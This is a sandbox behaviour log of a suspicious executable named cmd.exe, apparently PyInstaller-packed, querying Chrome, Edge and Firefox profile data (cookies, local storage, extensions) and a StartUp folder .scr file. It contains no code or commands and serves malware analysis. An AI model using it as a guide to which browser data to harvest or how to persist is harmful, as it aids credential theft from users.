Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_ssl.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_hashlib.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_queue.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\unicodedata.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cs VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js VolumeInformation
